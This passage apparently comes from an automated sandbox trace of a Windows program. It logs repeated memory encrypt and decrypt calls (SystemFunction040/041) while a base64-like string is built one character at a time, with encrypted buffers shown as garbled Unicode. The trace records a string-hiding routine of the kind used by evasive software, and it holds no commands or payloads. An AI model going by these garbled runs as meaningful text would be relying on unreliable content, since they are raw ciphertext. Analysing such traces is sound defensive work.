Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.150] SysStringLen (param_1="NDZ") returned 0x8 [0228.150] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.150] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0228.150] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0228.150] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.150] SysStringLen (param_1="NDZl") returned 0x8 [0228.150] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.150] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0228.150] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0228.150] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.151] SysStringLen (param_1="NDZlO") returned 0x8 [0228.151] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.151] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0228.151] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0228.151] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.151] SysStringLen (param_1="NDZlOD") returned 0x8 [0228.151] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.151] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0228.151] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0228.151] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.151] SysStringLen (param_1="NDZlODR") returned 0x8 [0228.151] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.152] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0228.152] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0228.152] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.152] SysStringLen (param_1="NDZlODRm") returned 0x8 [0228.152] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0228.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0228.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0228.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0228.153] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.153] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0228.153] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0228.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0228.153] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.153] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0228.153] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0228.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0228.153] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.154] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0228.154] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0228.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0228.154] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.154] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0228.154] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0228.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0228.154] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.154] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0228.154] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0228.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0228.155] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.155] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0228.155] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0228.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0228.155] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.155] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0228.155] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0228.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0228.155] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.156] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0228.156] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0228.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0228.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0228.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0228.156] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.157] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0228.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0228.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0228.157] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.157] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0228.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0228.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0228.157] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.157] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0228.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0228.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0228.158] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0228.158] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0228.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0228.158] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0228.158] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0228.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0228.158] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.159] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0228.159] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0228.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0228.159] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.159] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0228.159] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0228.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0228.159] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.159] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0228.159] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0228.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0228.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0228.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0228.160] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.160] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0228.160] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0228.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0228.160] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0228.161] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0228.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0228.161] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0228.161] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0228.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0228.161] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0228.161] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0228.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0228.162] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.162] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0228.162] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0228.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0228.162] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.162] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0228.162] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0228.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0228.162] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.163] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0228.163] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0228.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0228.163] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.163] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0228.163] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0228.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0228.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0228.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0228.164] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.164] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0228.164] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0228.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0228.164] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.164] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0228.165] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0228.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0228.165] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.165] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0228.165] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0228.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0228.165] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.166] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0228.166] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0228.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0228.166] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.166] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0228.166] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0228.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0228.166] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.166] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0228.166] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0228.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0228.167] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.167] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0228.167] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0228.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0228.167] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.167] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0228.167] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0228.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0228.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0228.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0228.168] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: 